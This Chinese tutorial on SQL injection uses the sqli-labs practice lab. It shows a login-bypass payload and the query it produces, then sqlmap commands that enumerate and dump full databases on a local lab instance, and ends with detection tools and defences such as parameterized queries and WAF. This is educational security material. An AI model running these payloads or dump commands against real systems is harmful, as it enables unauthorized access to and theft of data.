安装 sqli-labs 靶场
sqli-labs 是一款用于学习 SQL 注入的靶场平台,覆盖了各种类型的 SQL 注入,题目共 75 道,按难度划分为 4 页。sqli-labs 靶场的项目开源地址为https://github.com/Audi-1/sqli-labs。我们通过docker来进行安装
搜索 sqli-labs 镜像
docker search sqli-labs
然后拉取镜像:
docker pull acgpiano/sqli-labs
在容器中运行 sqli-labs:
docker run -dt --name sqli-labs -p 80:80 --rm acgpiano/sqli-labs
各个参数代表的含义。
-d:代表后台运行
-t:为容器分配伪终端
--name:命名容器
-p:指定映射端口,此处将 acgpiano/sqli-labs 的 80 端口映射到本地的 80 端口
--rm:退出时自动移除容器
然后直接访问云服务器IP,进入SqlLi-labs页面
然后点击Setup/reset按钮安装数据库
设置完数据库,返回页面进入第一页
SQL 注入产生的原因
我们选择第11题,然后在用户名和密码框中都输入’or’1’='1
它的sql语句变为下面这种写法。
SELECT username, password FROM users WHERE username=''or'1'='1' and password=''or'1'='1' LIMIT 0,1
Sql注入的原理,就是开发时未对用户的输入数据(可能是 GET 或 POST 参数,也可能是 Cookie、HTTP 头等)进行有效过滤,直接带入 SQL 语句解析,使得原本应为参数数据的内容,却被用来拼接 SQL 语句做解析,也就是说,将数据当代码解析,最终导致 SQL 注入漏洞的产生。
6 大 SQL 注入技术
B,Boolean-based blind(布尔型盲注);
E,Error-based(报错型注入);
U,Union query-based(联合查询注入);
S,Stacked queries(多语句堆叠注入);
T,Time-based blind(基于时间延迟盲注);
Q,Inline queries(内联/嵌套查询注入)。
我们用sqli-labs来演示下。
手工注入
自动化注入
使用 sqlmap 拖库
借助 sqlmap 我们可以通过简单的参数自动完成漏洞的利用,既不用记过多的 SQL 语句,也会更加高效。
(1)使用 --dbs 参数获取数据库名称(注意:这里需要 sudo,否则无法访问 docker 容器中的网站),示例命令如下
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dbs
(2)使用 --current-db 参数获取当前数据库,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --current-db
(3)使用 --tables 参数枚举表名,示例命令如下 :
./sqlmap.py -u "http://localhost/Less-2/?id=1" --tables -D 'security'
(4)使用 --columns 参数枚举字段名,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --columns -T "users" -D "security"
(5)使用 --dump 参数批量获取字段值,示例命令如下:
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump -C "id,password,username" -T "users" -D "security"
(6)使用 --dump-all 参数导出整个数据库。
./sqlmap.py -u "http://localhost/Less-2/?id=1" --dump-all
sql注入检测
自动化检测 SQL 注入
目前检测 Web 漏洞的方式共有 3 种:SAST(静态应用安全测试)、DAST(动态应用安全测试)和 IAST(交互式应用安全测试)
SAST(静态应用安全测试)
SAST(Static Application Security Testing,静态应用程序安全测试)是通过分应用程序源代码以提早发现安全漏洞,也包括二进制文件的静态逆向分析。在产品形式上,主要体现为代码审计系统等。
DAST(动态应用安全测试)
DAST(Dynamic Application Security Testing,动态应用程序安全测试)是对应用程序进行黑盒分析,通常在测试或运行阶段分析应用程序的动态运行状态,通过模拟黑客行为对应用程序进行动态攻击,分析应用程序的反应,从而确定是否存在漏洞。
IAST(交互式应用安全测试)
IAST(Interactive Application Security Testing,交互式应用安全测试)是近几年兴起的一种应用安全测试新技术,曾被 Gartner 咨询公司列为网络安全领域的 Top 10 技术之一。IAST 融合了 DAST 和 SAST 的优势,漏洞检出率极高、误报率极低,同时可以定位到 API 接口和代码片段。
sql注入防御
通常防御 SQL 注入的方法有白名单、参数化查询、WAF、RASP
白名单
如果请求参数有特定值的约束,比如参数是固定整数值,那么就只允许接收整数;还有就是常量值限制,比如特定的字符串、整数值等。这个时候,最好采用白名单的方式。我并不建议使用黑名单的方式,比如过滤单引号、SQL 关键词,虽然有部分效果,但在某些场景下仍会被如整数型注入、二次注入、新增的 SQL 关键词等方式绕过。
参数化查询
参数化查询是预编译 SQL 语句的一种处理方式,所以也叫预编译查询,它可以将输入数据插入到 SQL 语句中的“参数”(即变量)中,防止数据被当作 SQL 语句执行,从而防止 SQL 注入漏洞的产生。
比如在下列语句中,设置 $pwd 变量值为 1 and 1=1 时:
WAF
WAF(Web 防火墙)能够抵挡住大部分的攻击,几乎是当前各网站必备的安全产品。但它也不是无懈可击的,难免会被绕过。不过安全本身就是为了不断提高攻击成本而设立的,并不是为了完全、绝对地解决入侵问题。这也是很难实现的。
业界主流的 WAF 产品,可以参考 Garnet 的魔力象限。下面是 2019 年的 Web 应用防火墙魔力象限:
RASP
前面已经介绍过 RASP,以及它与 IAST 的区别。RASP 技术是当前安全防御技术领域的一大趋势,很多国内厂商都在做,联合 IAST 一块,毕竟核心技术是共用的。
WAF 无法感知应用程序的上下文,也无法输出漏洞攻击链,对定位漏洞代码的帮助也相当有限。RASP 不用考虑网络请求中的各种复杂的数据处理过程,只需要在对应的漏洞触发函数进行 Hook 插桩检测等操作,同时 RASP 能够给出漏洞触发的程序上下文,帮助开发人员和安全人员快速定位漏洞代码,并实现漏洞的检测、告警和阻断。
RASP 与 WAF 是互补的两种技术实现,而非以新换旧。利用 RASP 对 WAF 进行有效的补充,可以构建更加完善的安全防御体系。